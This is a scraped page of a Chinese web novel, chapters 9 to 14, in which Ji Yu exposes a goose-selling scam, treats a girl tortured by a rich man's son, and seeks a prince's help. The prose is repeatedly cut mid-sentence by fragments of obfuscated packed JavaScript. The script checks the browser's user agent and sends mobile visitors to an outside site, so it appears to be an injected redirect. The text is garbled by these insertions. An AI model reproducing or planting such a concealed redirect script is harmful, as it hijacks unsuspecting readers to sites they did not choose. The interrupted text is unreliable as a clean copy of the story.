0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14577369|155770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凑进去仔细听了一会儿,大概明白了。 原来是往井水里下毒的人今早在别的街巷井里投毒时被人抓了个正着,然后被人抓起来送到了官府。 因着下的毒不至于危害人性命,但也是恶劣行为,所以被判了一年牢。 既然人已经被抓到也被判刑了,那么季妤就没必要报什么案,于是从拥挤的人群出来后,她去了一趟集市。 即使是下午,集市上也分外热闹,因为大部分的摊子卖不出的东西到了下午都会打折,因此季妤一般买菜都专门下午来买。 “大娘,要这块排骨。”季妤指着她看中的排骨给摊主大娘看,“要剁小一点。” “哎,知道啦!”大娘爽朗一笑,拿起季妤指定的排骨就开始剁成一小块。 忽地,人群里有人哀嚎起来,紧接着吵嚷声越来越大,传至季妤耳边,听到了什么,你放屁、不是我、污蔑、下毒之类的。 季妤循声望去,看到不远处卖鸡鸭禽兽的摊子围着好一伙人,推推搡搡间伴随着谩骂声,摊主老头就被推到在地。 眼见着老人的手就要被围观地人踩上,季妤一个箭步上前一把摁住那只脚。 “你你,你谁啊,光天化日地摸我的脚,小心我报官!”一个微胖妇人低头看着季妤抓在她脚上的手,骂骂咧咧起来。 季妤松开手,解释道:“你刚刚差点踩到人了。” 那妇人瞪了季妤一眼,又骂了几句,季妤不再理会妇人,转而伸手去扶那位跌倒在地的老人。 “老爷爷,你没事吧?” “我的鹅——”老爷爷叫了一声,突然大哭起来。 季妤去看,见笼子外有只鹅翻着白眼躺在地上一动不动,好像死了一样。 9. 被讹 “是你毒死了我的鹅!” 被老人家指控的那人不服,嚷嚷起来,“你放屁!是你的鹅本来就有病,我才不过摸了一下,它就翻白眼死了,我还没说你拿有病的鹅来卖,想要害大家。你这老头还倒打一耙,诬陷起我来!” 季妤听了这一番话,视线便从那只鹅上转移至那人处。 只见那是个肥头大耳,膀大腰圆的男人,衣着齐整,面料乍一看普通,其实也确实普通,不过普通百姓还真不一定穿得起就是。 面对老人家的指控,那男人马上奋起反驳,一张胖脸因着激动的情绪而面红耳赤,极力否认是他下毒害死了这只鹅。 “你!咳咳……”老人家被气得激烈咳嗽起来,这一咳,就一直没能停下,每咳嗽一声,瘦小的身子就跟着震动一下,如同一个破碎的风箱,断断续续,仿佛下一秒就要断气了似的,让人担心不已。 季妤扶着老人的肩,给他轻轻地垂着背,温声道:“老爷爷,你先别着急,慢慢说。” 老人家抬起头来看着季妤,面色苍白,老泪纵横,嗫嚅着正要说些什么,却又是一阵阵撕心裂肺的咳嗽声蹦了出来,他摇了摇头,满眼委屈,仿佛有冤无法诉说。 有围观的人看不下去,指责大耳男子道:“老人家一把年纪了,你一个正值壮年的男人怎么好意思欺负老人?” “我欺负他?!”大耳男子被气得吹胡子瞪眼,指着那帮着老人家的人怒骂,“你这人脸上白长了两个窟窿,你是亲眼瞧见我给鹅下毒了,还是亲眼看到我打这老头了?” “这老人家都急得咳成这样了,你还敢说你没欺负?” “就是就是,欺负老人还不让人说,我看啊,这人分明就是要讹这老人。” “谁说不是呢,这老人一看就是穷苦人家,想必就等着卖这只鹅过活,你看这鹅又大又肥,肯定是好好养着的,怎么可能如那男子般说的是有病的鹅?” …… 人群里窃窃私语起来,有的不怕事地更是光明正大地指责起来,也不怕这膀大腰圆的男人发起狠来过来打他们。 季妤不动声色地将这些声音都听了进去,人群里一大半的人都站在老人这一边,只有少数几个是真的只是单纯看热闹,没有偏帮哪一个人。 人,向来都是怜悯弱势群体,在不了解事情原委的情况下,下意识地就认为弱小的那一个是受欺负的,因此便帮着弱小的那一个责骂起另一个。 老头是个演技不错的,只可惜季妤是个眼尖的,方才她垂头去看地上的那只鹅时,正好看到老头没来得及收敛的笑容。 那是一个颇为得意的笑。 季妤心里腾地起了一把火,亏得她刚才还真心实意地替老头担心。 “姑娘,咳咳,我的鹅没有病咳咳……” 季妤弯了弯唇,走到鹅那边蹲下,鹅被提起,长长的脖子软绵绵地垂了下来,季妤轻柔地抚摸着雪白的羽毛,凑近去看,却听到一声极为细弱的吟叫声。 季妤眼睛微不可察的亮了一下,又细细地检查一番,突然在鹅的嘴里发现了一株草,顿时便什么都明白了。 老头见季妤蹲下来就一直翻腾着这鹅,神情不由有些紧张,怕她看出什么端倪,于是赶紧咳嗽起来。 “咳咳咳……我这是遭地什么事儿啊,本想着卖了鹅换点钱给家里老太婆看病,谁能想到鹅被人下了毒……咳咳,老天爷为什么要这么对我这老头子啊……”一番言语,已是嚎啕大哭。 老头这样一哭喊人群里立马有人看不下去,冲着大耳男子喊,“诶,我说你就买下这只鹅,反正是你毒死的,干脆你买了得了,老人家得了钱给老婆子治病,你也积了德不是?” 大耳男子怒瞪那人,“你可怜他,你怎么不买下这只本来就有病的鹅?” “又不是我毒的鹅,干嘛我买。” “也不是我毒的,又为什么要我买,你不是可怜这老头吗,你倒是做出点实际行动来把鹅买回去啊!”大耳男子回骂过去,顿时把那人骂得缩回了脖子,隐在人群里不知所踪。 大耳男子嗤笑一声,甩了甩袖子就要走,老头见状,忙一把抱住大耳男子的腿,耍赖似的一阵哭喊:“你还我的鹅……” 人群里指指点点的声音又开始此起彼伏,大耳男子脸色难看地抬起脚想要踹这老头,被季妤及时给拦住了。 本来他有理,这一脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14577370|155770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下去给老头踹出个好歹来,有理也给踹得没理。 大耳男子以为季妤也是要指摘他的,对季妤没什么好脸色道:“你让开,否则我的脚可不长眼睛,别不小心踹到你这个娇滴滴的小姑娘。” 季妤微微一笑,提着鹅甩了甩,一脸认真道:“我看这鹅挺好的,又肥又大,大哥不若买了它?” “你这姑娘说的什么话,这鹅有病,我干啥还要买,这买了也不敢吃!”大耳男子不满地哼了一声。 季妤垫了垫鹅,将其抱在怀里,欢喜道:“那大哥你不要,就让给我吧。” “你要买一只有病的鹅?”大耳男子疑惑地看着季妤,满脸不解。 老头听闻季妤要买,却不肯了。 “这只鹅被他下了毒,怎么能卖给别的人?我不能害了你!”说完,老头颤颤巍巍地来到季妤身边,劝道,“姑娘,你要是想买鹅,这集市上还有不少卖鹅的,干什么要买这只有毒的鹅?” 季妤抱着鹅,笑眯眯地看着老头,反问他,“老爷爷,你为何说这鹅有毒?” 鹅只是翻白眼倒地上不动了,就算是死了,也不能就断定是被毒死的。 这老头一直说鹅被毒死了,一口咬定是这男子下了毒,为的就是逼男子买下这只鹅,好让这原本有病的鹅能顺利卖出去。 这一切都是为了钱。既然为了钱,那她出钱买下,老头又为何不肯了? 这分明就是赖上了那个男子,非得那男子买下这只鹅不可。 而且据季妤观察,老头似乎很恨男子,每次看向男子的眼神都很仇视。 老头被季妤这一反问给问住了,想到什么后才忙找补道:“我的鹅本来好好的,被他碰了后就翻白眼倒地上了,这不是中毒是什么?” 季妤捏了捏鹅的脖子,忽地,一声清脆的鹅叫声响起,众人稀奇的目光齐聚在季妤的手上。 季妤笑得欢快:“老爷爷,这鹅好了。” 老头脸色煞白,脚步踉跄地后退几步,身子晃了几下,然后跌坐在地上嚎哭起来:“我苦命的孙女儿啊!” 季妤:“……” 怎么好端端地鹅活了,这老头反而哭起孙女儿来? 10. 畜生 季妤抱着鹅走到老人身旁蹲下,见老人不似之前做戏般假哭,这次哭得情真意切了许多,想来应该确实是有什么苦楚,不由温声问:“你孙女儿怎么苦命了?” “我孙女儿被他给害死了!”老人瘦骨嶙峋地手指指向了大耳男子,“他把我孙女儿拐进城,折磨了她一天一夜,我孙女儿回到家时,满身是伤……” 说着说着,老人泪流满面,哽咽得几乎无法再说下去。 “你这老头又想污蔑我,我连你有没有孙女都不知道,我怎么把人拐进城,又怎么折磨她!”大耳男子气急了,被人这样几次三番地污蔑,换做谁都受不了,他一个箭步冲上去,抬脚就要踹向老人,又被季妤给拦下了。 “等等,你说的可是真的?”季妤有些怀疑地看着大耳男子。 那大耳男子梗着脖子怒道:“我薛五从不说假话!” 薛五? 季妤不由得多打量了他几眼,心下已了然,此人确实是不说谎的,那么这老头…… 这老人哭成这样,好像也不像说的假话,那这之中必定是有什么误会。 季妤耐着性子问老人,“老人家,你亲眼看到这人拐走了你孙女儿吗?” “怎么没看到!”老人急了,“就他这副身材,我就算远远地只看到了背影,也不会认错,就是他昨天下午在河边强拉着我孙女儿上了马车!” “你放屁!我昨天下午根本就没去什么河边,连个女人都没见着,根本就不可能强拉着你孙女儿上什么马车!” 两人你一言我一句地吵了起来,围观人群看得津津有味,季妤也从这些话中得出了些重要的信息。 薛五昨天下午确实不可能去到什么河边,可老人如此笃定地说看到的就是薛五,这倒是奇了,难道这薛五还会分身术不成? “老爷爷,你确定看到了薛大哥的脸了吗?”季妤认真地问。 老人迟疑了一会儿,摇了摇头,不过又很快笃定道:“虽然没看到正脸,只看到了背影,但他这身材胖成这样,我进城逛了快一天了,就只有他是这样的,不是他又是谁?” 很胖吗? 季妤不由得看向薛五,薛五连忙摆手:“你看我作甚,他都没看清我的脸就一口咬定是我,我多冤啊!我虽然胖,但也不可能全青州就我一个胖子吧。” 薛五确实很胖,大祁朝近几年来以瘦为美,因为当今最受宠的姚贵妃当年鼓上舞一舞倾城,身轻如燕,在鼓上飘然若仙,宛若神仙妃子,颇有赵飞燕之风姿,圣上尤为喜之。 故大祁朝便兴起了以瘦为美,追求纤细身材的风潮,不只女子,男子亦如此,所以,很少有胖子,而像胖成薛五这样的更是不多见。 可青州除了薛五,季妤还熟悉另一个胖子。 “老爷爷,你恐怕真的认错人了。”季妤看着老人,一脸认真道。 老人不相信地后退一步,仿佛受了什么打击似的瞪着一双满是皱纹的眼看着季妤,嗫嚅着:“怎么……可能认错……不是他,还能是谁?” * 杜府后门,季妤和看门的小厮说了几句,不一会儿杜聪便拖着肥胖的身躯赶来了。 “小妤妹妹你来找我玩啦!” 季妤上下打量了他一番,见他气喘吁吁,满头是汗,不由问:“你在玩什么?” “在玩追人游戏呢,小妤妹妹你也来玩啊。”杜聪欢快地邀请季妤进去,季妤摆了摆手,又问,“追人游戏怎么玩?” 杜聪玩的游戏大多稀奇古怪的残忍,想着法儿来折磨人。 “就是,这样……那样……玩啊。”杜聪结结巴巴地没叙述出一句完整的话来,季妤不耐烦地转头看向他身边的小厮。 小厮会意,知道季妤是自家少爷喜欢的人,因此忙讨好地上前一步,细细地为季妤解释:“就是在丫鬟们手臂上划上一刀,流出血来,让她们在院子里跑,然后再放出饿了三天的狼去追,一炷香后没有被狼追到的人就能得到少爷赏的十两银子。” 好一个追人游戏,季妤气得胸口剧烈起伏,心中燃烧着熊熊烈火,烧得她几乎忍不住地要对杜聪破口大骂,但理智战胜了怒火。 杜聪杜庭松的独子,最是宠爱甚至溺爱他,而杜庭松又是她的债主,她还欠着人家三百两巨债,纵然对杜聪有多么的厌恶,却不能对他做什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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季妤拦住要去府衙报官的刘老汉,面色凝重地摇了摇头:“报官没有用的,府衙的知州大人最宠爱的小妾是杜庭松的妹妹。” “就算是又如何,难道就任由清白女子被那畜生欺负吗?!”薛五忿忿不平地吼道。 “嘘!小声点。”季妤左右看了看,见巷子里没有旁的人,才放下心来看着薛五和刘老汉,低声道,“报官是当然要报的,只是时候未到。” 11. 心病还须心药医 要想凭借报官让杜聪受到律法的制裁,那不是一件简单的事。 杜庭松虽然只是普通商贾,且往上数三代内都是做生意的商人,祖上也没有人做过官,但架不住他妹妹是陈知州最宠爱的小妾,他有陈知州这个靠山。 那小妾又是最疼杜聪这个侄子的人,如果杜聪被他们报官告上府衙,只要那小妾在床上朝陈知州吹吹枕边风,那么这件事就会不了了之。 到时候杜聪一点损失都没有,而刘老汉可能只能得到杜家的赔偿,但得不到公正。 杜聪不是第一次逼死年轻女子,但他依然相安无事,因为有人替他擦屁股摆平,所以季妤才说现在不是报官的时候。 看着刘老汉佝偻的瘦小身躯,季妤无奈地叹了口气,普通百姓怎么斗得过这些人?受了委屈都是打碎牙齿往肚子里咽,没得办法。 “可怜我那孙女儿,才刚及笄没多久就遇上了这祸事。都怪我,都怪我啊,非要吃什么鱼,芸儿才要去钓鱼,最后碰上了这么个畜生玩意儿的东西!”刘老汉哭得一把鼻涕一把泪,“芸儿,爷爷对不起你,你受了委屈,爷爷连报官都没法报……” “刘爷爷,你这……”季妤眼睛有些酸涩,看刘老汉哭得这样凄惨,她心里也难受,对杜聪和杜庭松的恨意更深了。 她张了口,却不知道该怎么安慰,良久,她才道:“刘爷爷,太阳快落山了,你住哪儿,我租辆马车送你回去吧。” 刘老汉擦了擦泪:“我还要回集市卖我的鹅,卖了钱给芸儿买药吃。” “刘爷爷,你不是说你孙女被害死了吗?”季妤惊讶地看着刘老汉,有些担心他是不是受不了孙女离世的打击,所以脑子糊涂了? 她记得在集市时亲耳听到刘老汉骂薛五:你害死了我的孙女儿…… 刘老汉叹了口气:“她晚上在屋里上吊,被我和老太婆及时发现救了下来,但是全身上下被那畜生玩意儿的东西折磨得不成样,到处是伤。” “请大夫看了吗?” “请了村里的赤脚大夫,写了个药方子让我去抓药,我今早去药铺抓药,才知道这药材那么贵,只能把鹅卖了换钱买药。” 季妤忙道:“刘爷爷,你把药方给我看看。” 刘老汉从怀里掏出叠得整整齐齐的药方递给季妤,季妤打开一看,这些药材她的药铺里都有现成的,只是这药方子写的忒乱了,什么狗屁不通的药材都往上写,乍一看还真挺像那么一回事。 要是真按照这个药方子抓药来吃,恐怕把人吃得更严重。 季妤面色凝重指着这张药方子道:“刘爷爷,这药方子写的不对,其实我就是大夫,我待会儿和你一起回去,给你孙女看看。不过在此之前,我需要回我的药铺拿些药材。” 刘老汉有些窘迫地搓着干枯的手:“我的鹅还没卖,我没有钱买药。” 季妤微微一笑,“在集市上我就说了我要买你这只鹅,你还不让呢。” 刘老三有些局促不安道:“季姑娘,你真的要买鹅吗,我那鹅不太健康。” 季妤点头道:“我瞧着那鹅挺健康的,你就用你的鹅换我的药材吧。” “谢谢季姑娘,谢谢你,谢谢……”刘老汉感激得语无伦次,谢谢一词就重复说了好几遍。 “那你就回集市取鹅,然后顺便帮我将寄放在猪肉摊的东西一并拿过来,我们到时候城门口见,然后再一起去你家。” “哎,好,就按你说的办,谢谢你啊,季姑娘。” * 季妤皱着眉头看着床上躺着的小姑娘,一张清秀的小脸被打得鼻青脸肿,脖子上青紫色的伤痕触目惊心,季妤鼻子酸涩,眼睛红了一片。 杜聪这个畜生,竟然把人打成这样,比她想的还要严重许多,她原以为,不该那么重的。 季妤心里愧疚不已,如果她当时答应了和杜聪放风筝,这个小姑娘是不是就不会遇到这样的事? “季姑娘,我孙女儿怎么样了?”刘老汉见季妤久久不言语,忍不住问。 “啊。”季妤回过神来,缩回把脉的手,转头看着刘老汉,“脉象来看虽然虚弱,但是没有生命危险,只是我看她脸上伤得太重,不知道她身上伤得怎么样?我需要单独给她检查一下。” 刘老汉明白了,忙道:“季姑娘你检查,我先出去熬药。” “嗯。”季妤微微点头,看着刘老汉关了门出去后,便掀开盖在刘芸身上的棉被,撩起她的袖子。 “嘶!”季妤震惊地看着手臂上触目惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14577372|155770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心的伤痕,一条一条的,像是被鞭子抽成这样,再把全身衣服撩开一看,和手臂上的伤一样。 季妤气得眼发红,气到浑身发抖,紧攥着手,好几次深呼吸才把怒气压下去,颤抖着手从药箱里拿出膏药,给她细细涂抹在伤痕处。 这种膏药专治外伤,经过她改良后,膏药涂上时冰冰凉凉,药性温和不刺激,涂上不会很疼。 刘芸伤口太多,等全身伤口都涂完后,那一盒的膏药已经所剩无几了。 季妤将刘芸的衣服重新穿好,然后盖上被子。 她来到桌前,从药箱里拿出纸和笔墨,提笔写下药方子,然后走到厨房将药方子拿给刘老汉,“刘爷爷,这个药方子你收好,后续如果缺药材了,你就来南市济世堂找我。” “对了,这种膏药是治外伤的,你孙女身上到处都是伤痕,用这个膏药涂抹在她的伤口处。” 听到季妤说孙女身上到处都是伤痕,刘老汉心里难受得紧,眼泪便止不住地往下掉,不停地对季妤对谢谢。 季妤扶着他摇摇欲坠地瘦小身躯,安慰道:“放心吧,只要好好给她涂药,按时给她吃药,一个月就能慢慢好起来,只是……” 季妤迟疑地停了下来没有继续往下说,看到刘老汉朝她点头,让她说下去,她才艰涩地开口,“心病还须心药医,这个不好治。” “她醒来后可能还会想不开寻短见,你需要时时刻刻盯紧她,把屋子里什么剪刀尖锐的东西收好,要是能开导她,让她放弃轻生的念头就更好了。” “我晓得,我就是怕她还会寻短见,所以昨晚就把她屋里的东西都收拾了一遍。” “嗯,做得好。”季妤点头,看了看外头渐渐黑下来的天色,便对刘老汉道,“天色不早了,我过两天再来。” “你记住千万别去报官,他们的身份你们是惹不起的。不过你放心,这件事我迟早替你们讨回来。” “季姑娘,你再去看看我那老婆子吧。” 季妤脚步一顿,转过身来,“她怎么了?” “昨晚芸儿上吊把她吓坏了,现在还昏倒在床。”刘老汉说起自己的老婆,又是泛起泪花。 唉,季妤无声叹息,好端端的一个家,一下子病倒了两个。 12. 有心帮他们 季妤一手提着排骨和一篮子蔬菜,一手抱着鹅下了马车。 等回到家时,天已经完全黑透了。 推开院门,季妤先把东西放到厨房,才转而来到南星所在的屋子。 房门被轻轻推开,一点点响动,就让南星警惕地从睡梦中惊醒,睁开眼,借着月色看到是季妤,遂才敛下眼中警惕的情绪,换上一副刚睡醒的神情。 “我来看看你怎么样了,吵醒你了不好意思。”季妤点上蜡烛,明黄的光亮将房内黑暗散去,季妤冲着明显睡眼惺忪朝她看过来的南星抱歉地笑了笑。 “无事,我一向浅眠。”南星收回视线,淡淡道。 “那你继续睡?我去做晚饭了。我告诉你啊,今晚有排骨汤喝!”季妤兴奋得眼里冒着光,向南星分享着这个好消息。 实在是中午那鸡汤勾起了她半个月没怎么吃过荤腥的馋虫了,所以才会来到集市上买心心念念好久没舍得买的排骨。 而且排骨汤清淡,正适合南星这种需要养伤的病人吃。 南星微微点头:“嗯,麻烦季姑娘了。” “不麻烦不麻烦。”季妤咧开嘴笑着,忽而感觉面上一凉,有风迎面吹来,往窗户那看去,发现窗户还开着,于是赶紧走到窗户边把窗关上。 早春的晚上还是有些冷的,白日里有太阳可以开窗通风,晚上却不能,季妤时刻谨记着祁钰不能吹风这事。 因着晚上有排骨汤喝,所以晚饭季妤只简单准备,煮了下午在集市上买的米粉。 她端着一碗米粉进来,笑着道:“排骨汤还在熬,先吃米粉。” “辛苦季姑娘了。” “不辛苦不辛苦。” 季妤给南星盛了一碗,给自己也盛了一碗。 经过一天的静养,南星的左臂虽然还是不那么灵活,但右手无碍,季妤便任由他自己吃,不再强行喂他。 这三皇子吃饭也没有她想象中的那么慢条斯理,也没那么优雅嘛,季妤边吃边拿眼睛瞟到南星身上观察了好一会儿。 最后得出结论:倒是和普通人没什么区别。 季妤黑黝黝的瞳孔滴溜溜地转了转,看着南星吃完一碗,赶紧又给他添上。 季妤有些愧疚道:“祁公子,都怪我回来晚了,害你这么晚才吃上晚饭,你一定是饿坏了吧,你多吃点,不够的话,锅里还有。” “季姑娘客气了,季姑娘时刻记挂着祁某,又是祁某的救命恩人,祁某感激不尽,又怎么好意思怪你呢?”南星牵起嘴角浅淡一笑,抬眸看着季妤,言辞真挚恳切。 这一番感激之言从他嘴里说出,季妤感动不已。 瞧瞧这就是样貌人品俱佳的男二,长得动人,说话动听,就是不知道行动力是否匹配得上他的脸和他说的话。 季妤咽下一口米粉,抬眸看了南星一眼,踌躇了一会儿才缓缓叹出一口气。 南星握筷子的手一顿,双眸微微一沉,难道他的箭伤…… 南星敛下眼中复杂情绪,抬眸去看季妤,带着一脸的关切问:“季姑娘为何叹气,可是我身上的毒不好解?” 季妤闻言一愣,反应过来后道:“你身上的毒确实不好解,我只能暂时压住毒素不四处扩散至你全身。不过你不用担心,我爹有很多医书,我迟早会找出解毒的办法的。” 南星微微颔首,见季妤仍眉头紧锁,一脸忧愁的样子,经过方才的一问一答,他知道她应该不是在愁他身上的毒。 作为一个被救的人,当救命恩人有了烦心之事,他理应礼貌地问上一问。 “季姑娘在愁什么?” “唉,今天遇到了一件让人特别气愤的事,我跟你说啊……” 季妤见南星已经开口问了,便将准备好的说辞讲给他听,一边讲,一边去看他脸上的神色,见他越听,面色越凝重,她的心里便越发的高兴。 他是宽厚仁慈,心系百姓的三皇子,也是最富有同理心的人,若是他听到刘老汉这样的事,定不会袖手旁观的。 见差不多了,季妤又继续添把火,把事情说得更加让人觉得可怜和动容。 “祁公子,这样有权有势的人,普通百姓尚且斗不过他们,更何况是刘爷爷这样的贫苦人家?” “他儿子儿媳死了,留下一个孙女,两个老人好不容易把孙女养到十五岁,却被杜聪这样的畜生给打成那样。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这是季妤的肺腑之言,在这半个月里她没有冷眼旁观,她借着在寻芳楼的画师身份收集了不少杜聪欺男霸女的证据,只待有个有权力有身份的人助她一臂之力,她才能彻底送杜聪去下地狱。 这种智商缺陷的恶种早该淘汰,留在世上也是祸害别人。此恶种虽然智商低智,却也懂得欺软怕硬的道理。 这半个月以来,季妤只打听到他折磨逼死少女的事例,却从来没有听说过他折磨逼死少男。 而且折磨的少女还专挑那种无权无势的普通姑娘,但凡是家里有些权势的,他都不敢招惹。 南星放下碗,认真地看着季妤,“季姑娘,我倒是认识一个符合你所说的那种有权有势之人。” 13. 竹哨 季妤竖起耳朵,身子往南星那里偏了一点,眨了眨水灵灵的大眼睛,作惊讶状,“哇,祁公子竟然认识这样权势的人,莫非祁公子家里是当官的?” “这倒没有,家里是做生意的,只是做生意之人走南闯北认识不少人,江湖中人和做官的都认识几个。” 南星端起茶壶欲给自己倒杯水,季妤眼疾手快先他一步给他倒上。 “多谢。”南星抿了一口,放下杯子看着季妤,“季姑娘可知道忠义侯府的小侯爷?” “你是说赵柯那个纨绔?”季妤惊讶得瞪着眼睛。 赵柯她熟啊,简直不要太熟了好吧! 赵小侯爷可是寻芳楼的常客,每次她去寻芳楼给姑娘们画像时,都能看到这位赵小侯爷美人在怀的样子。 有一次还让她给他和一个美人作画,因为画得好,还得了他十两银子的赏钱。那一次简直给季妤乐开了花,天天盼望着这位赵小侯爷能再叫她为他和美人画像,这样她能拿更多的赏钱。 可是一直过了十几天,赵小侯爷虽然依旧常来寻芳楼,但再也没叫季妤上前作过画,季妤为此可惜了许久。 这样一个流连青楼烟花之地的纨绔公子,三皇子竟然认识? 俗话说得好,物以类聚人以群分,她是看过小说的人,对祁钰了解颇深,相信他的为人和人品,如果他和赵柯交好,说明赵柯也是一个不错的人,应该只是披着纨绔的皮,做做样子给人看的。 这样想着,季妤又记起了一事,一次她将新画好的春宫图册拿给书肆掌柜时,不巧碰见了赵柯,他的手里拿着的那本图册正是她上次给书肆的,一个世家公子就是要买这玩意儿,也该派小厮来买,怎的还亲自来买? 这样也不怕有心之人看见?现在想来,应该就是故意要让人看见的,为的就是在立纨绔公子的人设,装给别人看的。 “小时候曾在青州住过一段时间,所以与赵小侯爷认识,只不过离现在也有十年未见了。” 所以十年未见,赵柯竟然成纨绔了么?南星眼神闪了闪,眼中意味不明的情绪被他很好的隐藏,只露出明显的,让人一看就明了的情绪。 季妤看到南星眼里闪过一丝怀念,不由有些疑惑:难道她看书看漏了剧情?她怎么记得三皇子祁钰一直是在京城长大的,后面倒是来过青州,但不是小时候。 正怀疑自己看漏剧情的季妤,又听他接着说:“也不知道他还记不记得我。” “如果是少年时相识的玩伴,就算是老了,也会一直记得的。”季妤无比认真道。 她也有一个小时候玩得好的伙伴,后来她搬家了,再次与那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14577374|155770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伙伴相遇时已是十年后,可是她们两个还是一眼就认出了对方,后来两人甚至还考上了同一所大学,成为彼此最好的朋友。 南星淡淡一笑,从手腕处褪下一物递到季妤面前,季妤定睛一看,是个很普通的竹哨,这个她在给他换衣服时见到过。 “这个竹哨是赵小侯爷小时候赠予我的,你拿着这个,再附上我写的一封信去找他,他应该会看在我的薄面上帮你。” “可是……”季妤迟疑了一会儿,有些不太信任地问,“赵小侯爷在世人眼中是个风流纨绔,纵使有着小侯爷的身份,又没有实际话语权,陈知州肯听他的?” 南星微微点头,“虽不至于完全听赵小侯爷的话,但多少会顾及侯府的面子,不敢那么轻易地让杜聪躲过这一次,不过……” 南星顿了一下,看了季妤一眼,“不过杜聪的下场不会完全如你所愿,至少他死不了。” 季妤点头,“我知道,早猜到了顶多判个几年牢。” 不过判个几年牢也算不错,至少这几年他在牢里,也不能出来祸害姑娘了。 季妤接过竹哨小心地放进钱袋里,如此重要的物件,当与最重要的银钱放在一起才稳妥。 她起身朝南星一笑,道: “排骨汤应该熬得差不多了,我去端来。” 14. 桃花酥 翌日清晨,阳光明媚。 “姑娘,我们小侯爷昨晚上就出发去临州了。”忠义侯府看门的小厮说完,便上下打量起季妤。 一身鹅黄色的裙裳,头发编了条辫子垂在后背,头上除了与衣服同色系的发带,便再无别的头饰,这倒是与一般的女子不太一样,不过长得很是好看。 皮肤白皙,身材纤细,五官明媚秀丽,特别是那一双黑葡萄似的大眼睛水汪汪的,盯着人看,人便不自觉地吸引进去。 “啊?去临州了?!”季妤有些惊讶,几日前还在寻芳楼看到他,怎么那么凑巧的就去了临州? 季妤苦恼地耷拉着头,看着手上的信和竹哨,神情很是失落。 原以为见到了赵柯,刘老汉的孙女和那些被杜聪伤害的女孩马上就会有一个好的说法,也能惩治杜聪这个畜生。 可如今赵柯突然去了临州,那杜聪这事便又要再拖上一拖了。 季妤蹙着眉,心里有些烦躁,在这里她举目无亲,无权无势,纵然有同情心,想要帮那些被迫害的女子,却也无能为力。 决定截胡村女在她之前捡到祁钰,一是为了那黄金百两和一套宅子,二是为了借助祁钰三皇子的身份解决杜聪这样的人渣。 小厮见季妤垂着头,看不清表情,却能看到那长长的睫毛一颤一颤的,以为季妤正因为见不到他家小侯爷而伤心难过,便肯定了这姑娘又是自家小侯爷惹的风流债,不由摇头无声叹息。 这个月已经是第五个姑娘来找他家小侯爷了,也是这样手里拿着一封信和一个信物上门来找。 估计又是他家小侯爷甜言蜜语借着醉酒许下了什么承诺,哄得那些姑娘都当了真,眼巴巴的拿着东西来找,每次又都被他家小侯爷以各种不在府的理由给回绝了。 这事他遇到好几回,应付季妤已经是轻车熟路。 不过这个姑娘那么好看,他家小侯爷怎么对人家那么抠门,以往那些别的姑娘拿着的信物不是手镯就是玉簪金钗的,怎么这个姑娘手里的却是一个破竹哨? 小厮忍不住多打量了几眼季妤手里的竹哨,企图从中瞧出一些隐藏的价值,可瞧来瞧去,这就是一个破竹哨。 “你家小侯爷有说去临州做什么吗?”季妤见小厮一直看着她手里竹哨,于是把竹哨放进了布包里。 “小侯爷要去做什么,我们下人怎么会知道啊。” 以往小侯爷吩咐过他们这些看门的下人,若是有姑娘来找他,随便编个理由说他不在府里,只是这回他可没编什么理由,他家小侯爷昨晚真去了临州。 唉,一个个都是痴情女子,只可惜识人不清,他家小侯爷可不是专情之人。 “姑娘回去吧,别再来了。”我家小侯爷是不可能喜欢你的,你死心吧。这些话小厮不敢说出来,只敢在心里默默地说。 季妤抬起头来看着小厮,问:“那你家小侯爷什么时候回来?” “青州到临州虽然不算远,但一来一去也要五六天,算一下的话,少说要半个月才会回来。”小厮如实地告知了季妤。 季妤微微颔首,笑着道谢:“多谢小哥告诉我。” …… * “赵小侯爷去临州了。”季妤将竹哨还给南星,然后给自己猛灌了一杯水。 南星眼神闪烁了一下,视线从话本里转移到季妤脸上,“是我考虑不周。” 